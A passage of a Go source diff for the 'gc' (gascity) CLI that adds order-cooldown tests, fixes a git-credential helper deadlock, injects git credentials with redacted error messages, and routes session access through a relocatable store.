 	a := orders.Order{Name: "pg-env", Trigger: "event", On: events.BeadClosed, Exec: "true"}
 
 	var stdout, stderr bytes.Buffer
-	code := doOrderRunExecTracked(a, cityDir, nil, orders.NewStore(beads.OrdersStore{Store: store}), eventLog, &stdout, &stderr)
+	code := doOrderRunExecTracked(a, cityDir, nil, orders.NewStore(beads.OrdersStore{Store: store}), eventLog, nil, &stdout, &stderr)
 	if code == 0 {
 		t.Fatalf("doOrderRunExecTracked = 0, want env failure; stdout=%q stderr=%q", stdout.String(), stderr.String())
 	}
@@ -2776,7 +2776,7 @@ prefix = "fe"
 	}
 
 	var stdout, stderr bytes.Buffer
-	code := doOrderRunExecTracked(a, cityDir, cfg, orders.NewStore(beads.OrdersStore{Store: store}), nil, &stdout, &stderr)
+	code := doOrderRunExecTracked(a, cityDir, cfg, orders.NewStore(beads.OrdersStore{Store: store}), nil, nil, &stdout, &stderr)
 	if code != 0 {
 		t.Fatalf("doOrderRunExecTracked = %d, want 0; stderr: %s", code, stderr.String())
 	}
@@ -2810,7 +2810,7 @@ dolt.auto-start: false
 
 	a := orders.Order{Name: "pg-env", Trigger: "cooldown", Interval: "1m", Exec: "true"}
 	var stdout, stderr bytes.Buffer
-	result := doOrderRunExecResult(a, cityDir, nil, &stdout, &stderr)
+	result := doOrderRunExecResult(a, cityDir, nil, nil, &stdout, &stderr)
 	if result.code == 0 {
 		t.Fatalf("doOrderRunExecResult = 0, want env failure; stdout=%q stderr=%q", stdout.String(), stderr.String())
 	}
@@ -3611,3 +3611,76 @@ func TestOrderScopedName(t *testing.T) {
 		}
 	}
 }
+
+// TestOrderCheckCooldownFastPathBypassesLastRunStore proves the cooldown
+// short-circuit: a recent order.fired event keeps a cooldown order not-due
+// without ever consulting the (slow, Dolt-backed) last-run store. The store
+// is rigged to error if queried, so a clean not-due result confirms the
+// fast path took over.
+func TestOrderCheckCooldownFastPathBypassesLastRunStore(t *testing.T) {
+	now := time.Date(2026, 2, 27, 12, 0, 0, 0, time.UTC)
+	aa := []orders.Order{{
+		Name:     "digest",
+		Trigger:  "cooldown",
+		Interval: "24h",
+		Formula:  "mol-digest",
+	}}
+	// Any query against this store errors — it must not be reached.
+	failStore := labelFailListStore{
+		Store:     beads.NewMemStore(),
+		failLabel: "order-run:digest",
+	}
+	resolver := func(orders.Order) ([]beads.OrdersStore, error) {
+		return []beads.OrdersStore{{Store: failStore}}, nil
+	}
+
+	// Recent order.fired event, well within the 24h cooldown.
+	ep := events.NewFake()
+	ep.Record(events.Event{Type: events.OrderFired, Subject: "digest", Ts: now.Add(-1 * time.Hour)})
+
+	var stdout, stderr bytes.Buffer
+	code := doOrderCheckWithStoresResolverScoped(t.TempDir(), &config.City{}, aa, now, ep, resolver, &stdout, &stderr)
+	if code != 1 {
+		t.Fatalf("doOrderCheckWithStoresResolverScoped = %d, want 1 (cooldown active, not due); stderr: %s; stdout: %s", code, stderr.String(), stdout.String())
+	}
+	if strings.Contains(stderr.String(), "last run") {
+		t.Fatalf("last-run store was consulted despite in-window event; fast path did not bypass it:\n%s", stderr.String())
+	}
+	if !strings.Contains(stdout.String(), "cooldown") {
+		t.Fatalf("stdout missing not-due cooldown row:\n%s", stdout.String())
+	}
+}
+
+// TestOrderCheckCooldownStaleEventFallsThroughToLastRunStore proves the other
+// half of the guarantee: an order.fired event older than the cooldown interval
+// does not short-circuit, so the last-run store is still consulted (and here,
+// its error surfaces).
+func TestOrderCheckCooldownStaleEventFallsThroughToLastRunStore(t *testing.T) {
+	now := time.Date(2026, 2, 27, 12, 0, 0, 0, time.UTC)
+	aa := []orders.Order{{
+		Name:     "digest",
+		Trigger:  "cooldown",
+		Interval: "24h",
+		Formula:  "mol-digest",
+	}}
+	failStore := labelFailListStore{
+		Store:     beads.NewMemStore(),
+		failLabel: "order-run:digest",
+	}
+	resolver := func(orders.Order) ([]beads.OrdersStore, error) {
+		return []beads.OrdersStore{{Store: failStore}}, nil
+	}
+
+	// Stale order.fired event, older than the 24h cooldown.
+	ep := events.NewFake()
+	ep.Record(events.Event{Type: events.OrderFired, Subject: "digest", Ts: now.Add(-25 * time.Hour)})
+
+	var stdout, stderr bytes.Buffer
+	code := doOrderCheckWithStoresResolverScoped(t.TempDir(), &config.City{}, aa, now, ep, resolver, &stdout, &stderr)
+	if code != 1 {
+		t.Fatalf("doOrderCheckWithStoresResolverScoped = %d, want 1 when last-run store errors after stale event; stdout: %s", code, stdout.String())
+	}
+	if !strings.Contains(stderr.String(), "last run") {
+		t.Fatalf("stale event did not fall through to last-run store; expected last-run error in stderr:\n%s", stderr.String())
+	}
+}
diff --git a/cmd/gc/cmd_pack_commands.go b/cmd/gc/cmd_pack_commands.go
index 38a1f43f75..fc3b7465a1 100644
--- a/cmd/gc/cmd_pack_commands.go
+++ b/cmd/gc/cmd_pack_commands.go
@@ -56,6 +56,14 @@ func quietLoadCityConfig(cityPath string) (*config.City, error) {
 // silently if not in a city or config fails to load — core commands
 // always work.
 func registerPackCommands(root *cobra.Command, stdout, stderr io.Writer) {
+	// git spawns `gc git-credential` mid-clone, while gc may already hold the
+	// repo-cache lock for the very import being fetched (a credentialed
+	// `gc import install`). Pack-command discovery loads city config, which
+	// re-acquires that lock — a self-deadlock that hangs every credentialed
+	// import. The helper needs no pack commands, so skip discovery for it.
+	if isCredentialHelperInvocation(os.Args) {
+		return
+	}
 	cityPath, err := resolveCity()
 	if err != nil {
 		return
@@ -72,6 +80,20 @@ func registerPackCommands(root *cobra.Command, stdout, stderr io.Writer) {
 	addDiscoveredCommandsToRoot(root, cfg.PackCommands, cityPath, loadedCityName(cfg, cityPath), stdout, stderr, false)
 }
 
+// isCredentialHelperInvocation reports whether argv invokes the hidden
+// `gc git-credential` helper (git runs it as `gc git-credential <op>`). The
+// helper is a leaf command on git's clone hot path, so it must skip the
+// config-loading pack-command discovery that runs for normal invocations.
+func isCredentialHelperInvocation(argv []string) bool {
+	for i := 1; i < len(argv); i++ {
+		if strings.HasPrefix(argv[i], "-") {
+			continue
+		}
+		return argv[i] == "git-credential"
+	}
+	return false
+}
+
 // coreCommandNames returns the set of built-in command names that packs
 // must not shadow.
 func coreCommandNames(root *cobra.Command) map[string]bool {
diff --git a/cmd/gc/cmd_pack_commands_test.go b/cmd/gc/cmd_pack_commands_test.go
index 782b9be2ad..9bfbc53359 100644
--- a/cmd/gc/cmd_pack_commands_test.go
+++ b/cmd/gc/cmd_pack_commands_test.go
@@ -278,3 +278,75 @@ func TestSetupPackCityWritesExpectedLayout(t *testing.T) {
 		t.Fatalf("cityPath = %q, want testcity suffix", cityPath)
 	}
 }
+
+// TestIsCredentialHelperInvocation guards the fix for the credentialed-import
+// self-deadlock: git spawns `gc git-credential` mid-clone while a
+// `gc import install` already holds the repo-cache write lock, so the helper
+// must be detected and skip the config-loading pack-command discovery that
+// re-acquires that lock.
+func TestIsCredentialHelperInvocation(t *testing.T) {
+	cases := []struct {
+		name string
+		argv []string
+		want bool
+	}{
+		{"git invokes get", []string{"gc", "git-credential", "get"}, true},
+		{"absolute path store", []string{"/usr/local/bin/gc", "git-credential", "store"}, true},
+		{"leading boolean flag", []string{"gc", "--json", "git-credential", "get"}, true},
+		{"import install", []string{"gc", "import", "install"}, false},
+		{"import credential add", []string{"gc", "import", "credential", "add", "github.com"}, false},
+		{"plain status", []string{"gc", "status"}, false},
+		{"bare gc", []string{"gc"}, false},
+		{"empty argv", []string{}, false},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			if got := isCredentialHelperInvocation(tc.argv); got != tc.want {
+				t.Errorf("isCredentialHelperInvocation(%v) = %v, want %v", tc.argv, got, tc.want)
+			}
+		})
+	}
+}
+
+// TestGitCredentialInvocationSkipsPackDiscovery is the behavioral regression
+// guard: inside a city that defines a pack command, a `gc git-credential`
+// invocation must NOT trigger pack-command discovery (whose config load
+// re-takes the repo-cache lock a credentialed import holds), while a normal
+// invocation still discovers it (covered by TestNewRootCmdExposesRootPackCommands).
+func TestGitCredentialInvocationSkipsPackDiscovery(t *testing.T) {
+	dir := t.TempDir()
+	cityDir := filepath.Join(dir, "city")
+	if err := os.MkdirAll(filepath.Join(cityDir, "commands", "hello"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(cityDir, "city.toml"), []byte("[workspace]\nname = \"test\"\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(cityDir, "pack.toml"), []byte("[pack]\nname = \"backstage\"\nschema = 2\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(cityDir, "commands", "hello", "run.sh"), []byte("#!/bin/sh\nexit 0\n"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	oldWd, err := os.Getwd()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := os.Chdir(cityDir); err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = os.Chdir(oldWd) })
+
+	oldArgs := os.Args
+	os.Args = []string{"gc", "git-credential", "get"}
+	t.Cleanup(func() { os.Args = oldArgs })
+
+	root := newRootCmd(&bytes.Buffer{}, &bytes.Buffer{})
+	if findSubcommand(root, "backstage") != nil {
+		t.Fatal("git-credential invocation must skip pack-command discovery (its config load self-deadlocks a credentialed import)")
+	}
+	if findSubcommand(root, "git-credential") == nil {
+		t.Fatal("built-in git-credential command must still be present")
+	}
+}
diff --git a/cmd/gc/cmd_pack_release.go b/cmd/gc/cmd_pack_release.go
index 2ec65e4be1..faed69b88d 100644
--- a/cmd/gc/cmd_pack_release.go
+++ b/cmd/gc/cmd_pack_release.go
@@ -15,6 +15,7 @@ import (
 	"github.com/BurntSushi/toml"
 	"github.com/gastownhall/gascity/internal/fsys"
 	"github.com/gastownhall/gascity/internal/git"
+	"github.com/gastownhall/gascity/internal/gitcred"
 	"github.com/gastownhall/gascity/internal/packregistry"
 	"github.com/gastownhall/gascity/internal/remotesource"
 	"github.com/spf13/cobra"
@@ -300,7 +301,7 @@ func ensurePackReleaseRepoInCache(cloneURL, commit string) (string, error) {
 	sum := sha256.Sum256([]byte(cloneURL + "\x00" + strings.TrimSpace(commit)))
 	cachePath := filepath.Join(root, fmt.Sprintf("%x", sum[:]))
 	if _, err := os.Stat(filepath.Join(cachePath, ".git")); err == nil {
-		if err := runPackReleaseGitCommand(cachePath, "fetch", "--quiet", "origin"); err != nil {
+		if err := runPackReleaseNetworkGitCommand(cloneURL, cachePath, "fetch", "--quiet", "origin"); err != nil {
 			if removeErr := os.RemoveAll(cachePath); removeErr != nil {
 				return "", fmt.Errorf("removing stale pack release repo cache after fetch failure: %w", removeErr)
 			}
@@ -314,8 +315,8 @@ func ensurePackReleaseRepoInCache(cloneURL, commit string) (string, error) {
 	} else if err := os.RemoveAll(cachePath); err != nil {
 		return "", fmt.Errorf("removing invalid pack release repo cache: %w", err)
 	}
-	if err := runPackReleaseGitCommand("", "clone", "--quiet", cloneURL, cachePath); err != nil {
-		return "", fmt.Errorf("cloning %q: %w", cloneURL, err)
+	if err := runPackReleaseNetworkGitCommand(cloneURL, "", "clone", "--quiet", cloneURL, cachePath); err != nil {
+		return "", fmt.Errorf("cloning %q: %w", gitcred.RedactUserinfo(cloneURL), err)
 	}
 	if err := checkoutPackReleaseRepo(cachePath, commit); err != nil {
 		return "", err
@@ -366,6 +367,36 @@ func runPackReleaseGitCommand(dir string, args ...string) error {
 	return nil
 }
 
+// runPackReleaseNetworkGitCommand is runPackReleaseGitCommand for the network
+// fetch/clone: it adds per-invocation credential injection matched on cloneURL
+// and classifies auth failures. Registry authoring is city-less, so the cityRoot
+// is "" — only the $GC_GIT_CREDENTIALS_FILE and $GC_HOME credential layers apply.
+func runPackReleaseNetworkGitCommand(cloneURL, dir string, args ...string) error {
+	inj, err := gitcred.CredentialedNetworkArgs("", "", cloneURL)
+	if err != nil {
+		return fmt.Errorf("loading git credentials for %s: %w", gitcred.RedactUserinfo(cloneURL), err)
+	}
+	cmdArgs := append([]string{
+		"-c", "core.fsmonitor=false",
+		"-c", "core.hooksPath=/dev/null",
+		"-c", "core.untrackedCache=false",
+	}, inj.CfgArgs...)
+	cmdArgs = append(cmdArgs, args...)
+	cmd := exec.Command("git", cmdArgs...)
+	if dir != "" {
+		cmd.Dir = dir
+	}
+	cmd.Env = append(git.HermeticEnv(), inj.Env...)
+	out, err := cmd.CombinedOutput()
+	if err != nil {
+		if authErr := gitcred.ClassifyAuthError(cloneURL, inj, string(out), err); authErr != nil {
+			return authErr
+		}
+		return fmt.Errorf("git %s: %s: %w", strings.Join(args, " "), strings.TrimSpace(string(out)), err)
+	}
+	return nil
+}
+
 func normalizePackReleasePath(raw string) (string, error) {
 	raw = strings.TrimSpace(filepath.ToSlash(raw))
 	if raw == "" || raw == "." {
diff --git a/cmd/gc/cmd_pack_release_test.go b/cmd/gc/cmd_pack_release_test.go
index ac3477a429..5bf9be3195 100644
--- a/cmd/gc/cmd_pack_release_test.go
+++ b/cmd/gc/cmd_pack_release_test.go
@@ -2,12 +2,14 @@ package main
 
 import (
 	"bytes"
+	"errors"
 	"os"
 	"os/exec"
 	"path/filepath"
 	"strings"
 	"testing"
 
+	"github.com/gastownhall/gascity/internal/gitcred"
 	"github.com/gastownhall/gascity/internal/packregistry"
 )
 
@@ -247,3 +249,44 @@ func TestRunPackReleaseGitCommandIgnoresPoisonedGitEnv(t *testing.T) {
 		t.Fatalf("runPackReleaseGitCommand with poisoned git env: %v", err)
 	}
 }
+
+func TestRunPackReleaseNetworkGitClassifiesAuthFailure(t *testing.T) {
+	installFakeGit(t, "authfail")
+	t.Setenv("GC_HOME", t.TempDir())
+	t.Setenv(gitcred.EnvCredentialsFile, "")
+	t.Setenv(gitcred.EnvCredentialCommand, "")
+
+	err := runPackReleaseNetworkGitCommand("https://github.com/gascity/gas-city-inc", "",
+		"clone", "--quiet", "https://github.com/gascity/gas-city-inc", t.TempDir())
+	var authErr *gitcred.AuthError
+	if !errors.As(err, &authErr) {
+		t.Fatalf("expected *gitcred.AuthError, got %v", err)
+	}
+}
+
+func TestRunPackReleaseNetworkGitInjectsCredentialHelper(t *testing.T) {
+	fakeDir := installFakeGit(t, "ok")
+	home := t.TempDir()
+	t.Setenv("GC_HOME", home)
+	t.Setenv(gitcred.EnvCredentialsFile, "")
+	t.Setenv(gitcred.EnvCredentialCommand, "")
+	// A GC_HOME credential layer applies even though registry authoring is
+	// city-less.
+	if err := os.WriteFile(filepath.Join(home, "credentials.toml"),
+		[]byte("[[credential]]\nmatch=\"github.com/gascity\"\nhelper=\"echo tok\"\n"), 0o600); err != nil {
+		t.Fatalf("write cred: %v", err)
+	}
+	if err := os.Chmod(filepath.Join(home, "credentials.toml"), 0o600); err != nil {
+		t.Fatalf("chmod: %v", err)
+	}
+
+	_ = runPackReleaseNetworkGitCommand("https://github.com/gascity/gas-city-inc", "",
+		"clone", "--quiet", "https://github.com/gascity/gas-city-inc", t.TempDir())
+	argv, err := os.ReadFile(filepath.Join(fakeDir, "argv"))
+	if err != nil {
+		t.Fatalf("fake git argv not recorded: %v", err)
+	}
+	if !strings.Contains(string(argv), "credential.helper=") {
+		t.Fatalf("injected git argv missing credential.helper: %q", string(argv))
+	}
+}
diff --git a/cmd/gc/cmd_prime.go b/cmd/gc/cmd_prime.go
index 5e8c011d68..b87c339abc 100644
--- a/cmd/gc/cmd_prime.go
+++ b/cmd/gc/cmd_prime.go
@@ -15,6 +15,7 @@ import (
 	"github.com/gastownhall/gascity/internal/config"
 	"github.com/gastownhall/gascity/internal/fsys"
 	"github.com/gastownhall/gascity/internal/runtime"
+	"github.com/gastownhall/gascity/internal/session"
 	"github.com/spf13/cobra"
 )
 
@@ -389,14 +390,23 @@ func primeHookSessionTemplate(cityPath string) string {
 	if err != nil {
 		return ""
 	}
-	sessionBead, err := store.Get(sessionID)
+	// Route the session-bead read through the session coordination-class store so
+	// a [beads.classes.sessions] relocation reaches this prime hook. The
+	// no-refresh config loader is deliberate: this hook fires frequently, and the
+	// pack-refresh side effect of loadCityConfig is inappropriate on a hot path
+	// (the completion path uses the same no-refresh loader for the same reason).
+	// A failed load yields nil cfg, which cliSessionStore treats as identity.
+	cfg, _ := loadCityConfigWithoutBuiltinPackRefresh(cityPath, io.Discard)
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	sessionBead, err := sessStore.Get(sessionID)
 	if err != nil {
 		return ""
 	}
-	if template := strings.TrimSpace(sessionBead.Metadata["template"]); template != "" {
+	info := session.InfoFromPersistedBead(sessionBead)
+	if template := strings.TrimSpace(info.Template); template != "" {
 		return template
 	}
-	return strings.TrimSpace(sessionBead.Metadata["common_name"])
+	return strings.TrimSpace(info.CommonName)
 }
 
 func primeHookAgentFromWorkDir(cfg *config.City) string {
@@ -573,7 +583,14 @@ func persistPrimeHookProviderSessionKey(hookProviderSessionID string, stderr io.
 		warn("opening city store for session %q: %v", gcSessionID, err)
 		return
 	}
-	sessionBead, err := store.Get(gcSessionID)
+	// Route the session_key write through the session coordination-class store so
+	// a [beads.classes.sessions] relocation reaches it — otherwise the provider
+	// resume key would silently land on the work store while the real session
+	// bead lives in the relocated store. No-refresh loader on this hot hook path
+	// (see primeHookSessionTemplate); nil cfg → cliSessionStore identity.
+	cfg, _ := loadCityConfigWithoutBuiltinPackRefresh(cityPath, io.Discard)
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	sessionBead, err := sessStore.Get(gcSessionID)
 	if err != nil {
 		warn("loading session bead %q: %v", gcSessionID, err)
 		return
@@ -582,10 +599,10 @@ func persistPrimeHookProviderSessionKey(hookProviderSessionID string, stderr io.
 		warn("hook stdin provider session id is only accepted for codex session %q", gcSessionID)
 		return
 	}
-	if existing := strings.TrimSpace(sessionBead.Metadata["session_key"]); existing != "" {
+	if existing := strings.TrimSpace(session.InfoFromPersistedBead(sessionBead).SessionKey); existing != "" {
 		return
 	}
-	if err := sessionFrontDoor(store).SetMarker(gcSessionID, "session_key", providerSessionID); err != nil {
+	if err := sessionFrontDoor(sessStore).SetMarker(gcSessionID, "session_key", providerSessionID); err != nil {
 		warn("writing session_key for session %q: %v", gcSessionID, err)
 	}
 }
diff --git a/cmd/gc/cmd_restart.go b/cmd/gc/cmd_restart.go
index f5fde1c373..e0adc3d2b0 100644
--- a/cmd/gc/cmd_restart.go
+++ b/cmd/gc/cmd_restart.go
@@ -156,7 +156,13 @@ func cmdRigRestart(args []string, stdout, stderr io.Writer) int {
 	sp := newSessionProvider()
 	rec := openCityRecorder(stderr)
 	store, _ := openCityStoreAt(cityPath)
-	return doRigRestart(sp, rec, store, cfg, rigAgents, rigName, cityName, cfg.Workspace.SessionTemplate, stdout, stderr)
+	// Every store consumer in doRigRestart is session-class (session-name
+	// lookups, pool session-ref resolution, runtime running-observation, and the
+	// session-runtime stop/kill in stopTargetsBounded), so route the whole flow
+	// through the session coordination-class store for relocation-safety — the
+	// same whole-store route as gc stop.
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	return doRigRestart(sp, rec, sessStore, cfg, rigAgents, rigName, cityName, cfg.Workspace.SessionTemplate, stdout, stderr)
 }
 
 // doRigRestart kills sessions for all agents in a rig. The reconciler will
diff --git a/cmd/gc/cmd_rig.go b/cmd/gc/cmd_rig.go
index 7ec2e9f76d..2682f43b70 100644
--- a/cmd/gc/cmd_rig.go
+++ b/cmd/gc/cmd_rig.go
@@ -738,7 +738,7 @@ func ensureBundledRigImportsInstalled(cityPath string, imports []config.BoundImp
 	if len(declared) == 0 {
 		return pinned, nil, nil
 	}
-	existing, err := collectAllImportsFS(fsys.OSFS{}, cityPath)
+	existing, err := collectAllImportsFS(cityPath)
 	if err != nil {
 		return nil, nil, err
 	}
@@ -1086,21 +1086,24 @@ func renderRigListFromAPI(fs fsys.FS, cityPath string, cr api.CachedRead[[]api.R
 			prefix := rig.Prefix
 			defaultBranch := rig.DefaultBranch
 			defaultSlingTarget := ""
+			var defaultSlingTargets []string
 			if cfgRig, ok := rigsByName[rig.Name]; ok {
 				path = cfgRig.Path
 				prefix = cfgRig.EffectivePrefix()
 				defaultBranch = cfgRig.EffectiveDefaultBranch()
 				defaultSlingTarget = cfgRig.DefaultSlingTarget
+				defaultSlingTargets = cfgRig.DefaultSlingTargets
 			}
 			result.Rigs = append(result.Rigs, RigListItem{
-				Name:               rig.Name,
-				Path:               path,
-				Prefix:             prefix,
-				DefaultBranch:      defaultBranch,
-				Suspended:          rig.Suspended,
-				Running:            rig.RunningCount > 0,
-				DefaultSlingTarget: defaultSlingTarget,
-				Beads:              rigBeadsStatus(fs, path),
+				Name:                rig.Name,
+				Path:                path,
+				Prefix:              prefix,
+				DefaultBranch:       defaultBranch,
+				Suspended:           rig.Suspended,
+				Running:             rig.RunningCount > 0,
+				DefaultSlingTarget:  defaultSlingTarget,
+				DefaultSlingTargets: defaultSlingTargets,
+				Beads:               rigBeadsStatus(fs, path),
 			})
 		}
 		result.Summary.Total = len(result.Rigs)
@@ -1182,14 +1185,15 @@ type RigListItem struct {
 	// Path is the absolute filesystem path to the rig directory, resolved from
 	// city.toml by resolveRigPaths. Always absolute in output, regardless of
 	// the relative form stored in city.toml.
-	Path               string `json:"path"`
-	Prefix             string `json:"prefix"`
-	DefaultBranch      string `json:"default_branch,omitempty"`
-	HQ                 bool   `json:"hq"`
-	Suspended          bool   `json:"suspended"`
-	Running            bool   `json:"running"`
-	DefaultSlingTarget string `json:"default_sling_target,omitempty"`
-	Beads              string `json:"beads"`
+	Path                string   `json:"path"`
+	Prefix              string   `json:"prefix"`
+	DefaultBranch       string   `json:"default_branch,omitempty"`
+	HQ                  bool     `json:"hq"`
+	Suspended           bool     `json:"suspended"`
+	Running             bool     `json:"running"`
+	DefaultSlingTarget  string   `json:"default_sling_target,omitempty"`
+	DefaultSlingTargets []string `json:"default_sling_targets,omitempty"`
+	Beads               string   `json:"beads"`
 }
 
 type RigListSummary struct {
@@ -1253,14 +1257,15 @@ func doRigList(fs fsys.FS, cityPath string, jsonOutput bool, stdout, stderr io.W
 		for i := range cfg.Rigs {
 			running := rigHasRunningAgent(cfg, cfg.Rigs[i].Name, sp)
 			result.Rigs = append(result.Rigs, RigListItem{
-				Name:               cfg.Rigs[i].Name,
-				Path:               cfg.Rigs[i].Path,
-				Prefix:             cfg.Rigs[i].EffectivePrefix(),
-				DefaultBranch:      cfg.Rigs[i].EffectiveDefaultBranch(),
-				Suspended:          suspNames[cfg.Rigs[i].Name],
-				Running:            running,
-				DefaultSlingTarget: cfg.Rigs[i].DefaultSlingTarget,
-				Beads:              rigBeadsStatus(fs, cfg.Rigs[i].Path),
+				Name:                cfg.Rigs[i].Name,
+				Path:                cfg.Rigs[i].Path,
+				Prefix:              cfg.Rigs[i].EffectivePrefix(),
+				DefaultBranch:       cfg.Rigs[i].EffectiveDefaultBranch(),
+				Suspended:           suspNames[cfg.Rigs[i].Name],
+				Running:             running,
+				DefaultSlingTarget:  cfg.Rigs[i].DefaultSlingTarget,
+				DefaultSlingTargets: cfg.Rigs[i].DefaultSlingTargets,
+				Beads:               rigBeadsStatus(fs, cfg.Rigs[i].Path),
 			})
 		}
 		result.Summary.Total = len(result.Rigs)
diff --git a/cmd/gc/cmd_runtime_drain.go b/cmd/gc/cmd_runtime_drain.go
index 6b952f8c81..17646995c1 100644
--- a/cmd/gc/cmd_runtime_drain.go
+++ b/cmd/gc/cmd_runtime_drain.go
@@ -10,6 +10,7 @@ import (
 	"syscall"
 	"time"
 
+	"github.com/gastownhall/gascity/internal/beads"
 	"github.com/gastownhall/gascity/internal/config"
 	"github.com/gastownhall/gascity/internal/events"
 	"github.com/gastownhall/gascity/internal/runtime"
@@ -507,14 +508,25 @@ func cmdRuntimeRequestRestart(stdout, stderr io.Writer) int {
 	if storeErr != nil {
 		fmt.Fprintf(stderr, "gc runtime request-restart: opening store: %v\n", storeErr) //nolint:errcheck // best-effort stderr
 	}
+	// Route the SESSION-class access (restartability check, restart-request
+	// clear, restart persist through the worker boundary) to the session
+	// coordination-class store so a [beads.classes.sessions] relocation reaches
+	// gc runtime request-restart. The routing cfg is loaded refresh-free (the
+	// full cfg loads later, for timeout/template resolution). Identity today, so
+	// byte-identical.
+	var sessStore beads.Store
 	if store != nil {
-		restartable, err := sessionRestartableByController(store, current.sessionName)
+		routeCfg, _ := loadCityConfigWithoutBuiltinPackRefresh(current.cityPath, io.Discard)
+		sessStore = cliSessionStore(store, routeCfg, current.cityPath)
+	}
+	if store != nil {
+		restartable, err := sessionRestartableByController(sessStore, current.sessionName)
 		if err != nil {
 			fmt.Fprintf(stderr, "gc runtime request-restart: checking session type: %v\n", err) //nolint:errcheck // best-effort stderr
 			return 1
 		}
 		if !restartable {
-			if err := clearRestartRequest(store, dops, current.sessionName); err != nil {
+			if err := clearRestartRequest(sessStore, dops, current.sessionName); err != nil {
 				fmt.Fprintf(stderr, "gc runtime request-restart: clearing stale restart request: %v\n", err) //nolint:errcheck // best-effort stderr
 				return 1
 			}
@@ -527,7 +539,7 @@ func cmdRuntimeRequestRestart(stdout, stderr io.Writer) int {
 	var persistRestart func() error
 	if store != nil {
 		persistRestart = func() error {
-			handle, err := workerHandleForSessionTargetWithConfig(current.cityPath, store, sp, cfg, current.sessionName)
+			handle, err := workerHandleForSessionTargetWithConfig(current.cityPath, sessStore, sp, cfg, current.sessionName)
 			if err != nil {
 				return err
 			}
diff --git a/cmd/gc/cmd_session.go b/cmd/gc/cmd_session.go
index fc6c8abb46..bf8752dcb8 100644
--- a/cmd/gc/cmd_session.go
+++ b/cmd/gc/cmd_session.go
@@ -217,6 +217,11 @@ func cmdSessionNew(args []string, alias, title, titleHint string, noAttach, json
 	if store == nil {
 		return code
 	}
+	// Every store consumer in this root is session-class (alias/session-name
+	// availability checks, the session worker handle, the auto-title front door,
+	// and the start-wait front door), so route the whole flow through the session
+	// coordination-class store for relocation-safety.
+	sessStore := cliSessionStore(store, cfg, cityPath)
 
 	sp := newSessionProvider()
 	if err := validateResolvedSessionTransport(resolved, sessionTransport, sp); err != nil {
@@ -293,7 +298,7 @@ func cmdSessionNew(args []string, alias, title, titleHint string, noAttach, json
 			}
 			handle, err := newWorkerSessionHandleForResolvedRuntimeWithConfig(
 				cityPath,
-				store,
+				sessStore,
 				sp,
 				cfg,
 				alias,
@@ -313,15 +318,15 @@ func cmdSessionNew(args []string, alias, title, titleHint string, noAttach, json
 			}
 			var info session.Info
 			err = session.WithCitySessionIdentifierLocks(cityPath, reservationIDs, func() error {
-				if err := session.EnsureAliasAvailableWithConfigForOwner(store, cfg, alias, "", configuredOwner); err != nil {
+				if err := session.EnsureAliasAvailableWithConfigForOwner(sessStore, cfg, alias, "", configuredOwner); err != nil {
 					return err
 				}
 				if reserveConcreteIdentity && sessionQualifiedName != alias {
-					if err := session.EnsureAliasAvailableWithConfigForOwner(store, cfg, sessionQualifiedName, "", configuredOwner); err != nil {
+					if err := session.EnsureAliasAvailableWithConfigForOwner(sessStore, cfg, sessionQualifiedName, "", configuredOwner); err != nil {
 						return err
 					}
 				}
-				if err := session.EnsureSessionNameAvailableWithConfig(store, cfg, explicitName, ""); err != nil {
+				if err := session.EnsureSessionNameAvailableWithConfig(sessStore, cfg, explicitName, ""); err != nil {
 					return err
 				}
 				var createErr error
@@ -333,7 +338,7 @@ func cmdSessionNew(args []string, alias, title, titleHint string, noAttach, json
 				return 1
 			}
 
-			titleDone := maybeAutoTitle(sessionFrontDoor(store), info.ID, title, titleHint, titleProvider, info.WorkDir, stderr)
+			titleDone := maybeAutoTitle(sessionFrontDoor(sessStore), info.ID, title, titleHint, titleProvider, info.WorkDir, stderr)
 			defer func() { <-titleDone }() // ensure title goroutine completes on all exit paths
 
 			// Poke again after bead creation to trigger immediate reconciler tick.
@@ -367,7 +372,7 @@ func cmdSessionNew(args []string, alias, title, titleHint string, noAttach, json
 
 			// Wait for the reconciler to start the session before attaching.
 			fmt.Fprintln(stdout, "Waiting for session to start...") //nolint:errcheck // best-effort stdout
-			if waitErr := waitForSession(sp, info.SessionName, waitTimeout, sessionFrontDoor(store), info.ID, stderr); waitErr != nil {
+			if waitErr := waitForSession(sp, info.SessionName, waitTimeout, sessionFrontDoor(sessStore), info.ID, stderr); waitErr != nil {
 				fmt.Fprintf(stderr, "gc session new: %v\n", waitErr) //nolint:errcheck // best-effort stderr
 				return 1
 			}
@@ -407,7 +412,7 @@ func cmdSessionNew(args []string, alias, title, titleHint string, noAttach, json
 	}
 	handle, err := newWorkerSessionHandleForResolvedRuntimeWithConfig(
 		cityPath,
-		store,
+		sessStore,
 		sp,
 		cfg,
 		alias,
@@ -427,15 +432,15 @@ func cmdSessionNew(args []string, alias, title, titleHint string, noAttach, json
 	}
 	var info session.Info
 	err = session.WithCitySessionIdentifierLocks(cityPath, reservationIDs, func() error {
-		if err := session.EnsureAliasAvailableWithConfigForOwner(store, cfg, alias, "", configuredOwner); err != nil {
+		if err := session.EnsureAliasAvailableWithConfigForOwner(sessStore, cfg, alias, "", configuredOwner); err != nil {
 			return err
 		}
 		if reserveConcreteIdentity && sessionQualifiedName != alias {
-			if err := session.EnsureAliasAvailableWithConfigForOwner(store, cfg, sessionQualifiedName, "", configuredOwner); err != nil {
+			if err := session.EnsureAliasAvailableWithConfigForOwner(sessStore, cfg, sessionQualifiedName, "", configuredOwner); err != nil {
 				return err
 			}
 		}
-		if err := session.EnsureSessionNameAvailableWithConfig(store, cfg, explicitName, ""); err != nil {
+		if err := session.EnsureSessionNameAvailableWithConfig(sessStore, cfg, explicitName, ""); err != nil {
 			return err
 		}
 		var createErr error
@@ -447,7 +452,7 @@ func cmdSessionNew(args []string, alias, title, titleHint string, noAttach, json
 		return 1
 	}
 
